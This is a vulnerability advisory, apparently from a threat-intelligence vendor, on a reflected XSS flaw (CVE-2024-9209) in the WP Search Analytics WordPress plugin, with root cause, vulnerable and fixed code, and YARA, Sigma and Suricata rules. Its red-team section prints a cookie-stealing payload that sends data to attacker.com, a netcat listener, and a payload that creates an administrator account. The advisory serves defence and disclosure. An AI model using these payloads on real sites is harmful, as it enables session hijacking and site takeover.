CVE-2024-9209
Executive Summary
CVE-2024-9209 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP Search Analytics WordPress plugin, affecting all versions up to and including 1.4.10. The flaw arises from the insecure use of add_query_arg without proper output escaping on URL parameters. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are affected. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The plugin is not open-source on GitHub, and no OSV patch data is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to craft the malicious link.
- User Interaction (UI): Required (R) – The victim must click the crafted link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., WordPress admin).
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is 6.1, the lack of authentication requirements and the potential for admin-level impact elevate the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability is located in the plugin's admin-facing pages where add_query_arg is used to construct URLs. In PHP, add_query_arg builds a URL by appending query parameters. The plugin fails to escape the output of this function before rendering it in the HTML response. An attacker can inject a malicious query parameter (e.g., ?page=wp-search-analytics&tab=<script>alert(1)</script>) that is reflected back without sanitization.
Attack Flow:
- Attacker crafts a URL:
https://victim-site.com/wp-admin/admin.php?page=wp-search-analytics&tab=<script>alert(document.cookie)</script> - Attacker sends this link to a logged-in WordPress admin via email, social engineering, or other means.
- Admin clicks the link, which loads the vulnerable admin page.
- The injected script executes in the admin's browser, potentially stealing session cookies, creating new admin accounts, or modifying site content.
Root Cause: The plugin uses add_query_arg to generate URLs for tab navigation but does not wrap the output in esc_url() or esc_html(). The tab parameter is directly concatenated into the URL string without validation.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.4.10):
// In wp-search-analytics/admin/class-wp-search-analytics-admin.php
$tab_url = add_query_arg( array( 'tab' => $tab ), $base_url );
echo '<a href="' . $tab_url . '">' . $tab_name . '</a>';
Patched Code (hypothetical fix):
$tab_url = add_query_arg( array( 'tab' => $tab ), $base_url );
echo '<a href="' . esc_url( $tab_url ) . '">' . esc_html( $tab_name ) . '</a>';
The fix applies esc_url() to the entire URL and esc_html() to the tab name, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit exists, a manual proof-of-concept can be constructed:
Craft the malicious URL:
https://victim-site.com/wp-admin/admin.php?page=wp-search-analytics&tab=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>Deliver the link via email or a shortened URL.
Set up a listener on attacker.com to capture cookies:
nc -lvnp 80Alternative payload for privilege escalation (if admin clicks):
<script> fetch('/wp-admin/admin-ajax.php?action=add_user&user=attacker&pass=attacker123&role=administrator') </script>
Blue Team (Detection & Hardening)
- Web Application Firewall (WAF) Rules: Block requests containing
<script>in thetabparameter. - Input Validation: Ensure the
tabparameter only allows alphanumeric characters and underscores. - Content Security Policy (CSP): Add
script-src 'self'to prevent inline script execution. - User Education: Train admins to avoid clicking suspicious links.
Indicators of Compromise (IOCs)
- URL Pattern:
/wp-admin/admin.php?page=wp-search-analytics&tab=*<script> - Log Entries: Access logs showing
tabparameter containing<script>oronerrorattributes. - Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin panel.
- File Changes: Unexpected modifications to WordPress admin user roles or new admin accounts.
Detection Engineering
YARA Rule
rule CVE_2024_9209_WP_Search_Analytics_XSS {
meta:
description = "Detects reflected XSS attempts against WP Search Analytics plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-9209"
strings:
$url_pattern = /admin\.php\?page=wp-search-analytics&tab=.*<script/i
$payload1 = "<script"
$payload2 = "onerror="
$payload3 = "onload="
condition:
$url_pattern and (any of ($payload*))
}
Sigma Rule
title: Reflected XSS via WP Search Analytics Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-9209
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "page=wp-search-analytics&tab="
cs-uri-query|re:
- "(<script|onerror=|onload=)"
condition: selection
falsepositives:
- Legitimate use of script tags in URL (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9209 WP Search Analytics Reflected XSS Attempt"; flow:to_server,established; content:"page=wp-search-analytics&tab="; http_uri; pcre:"/(<script|onerror=|onload=)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the WP Search Analytics plugin until a patch is released.
- Temporary Workaround: Add a custom filter to sanitize the
tabparameter:add_filter( 'query_vars', function( $vars ) { $vars[] = 'tab'; return $vars; } ); add_action( 'init', function() { if ( isset( $_GET['tab'] ) ) { $_GET['tab'] = sanitize_text_field( $_GET['tab'] ); } } ); - Long-term Fix: The vendor must release a patched version that escapes
add_query_argoutput withesc_url(). - Monitor: Watch the WordPress plugin repository for updates.
- Alternative: Consider replacing the plugin with a more secure alternative like "Search Analytics for WordPress" (if available).
Valters IT
DevSecOps & Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.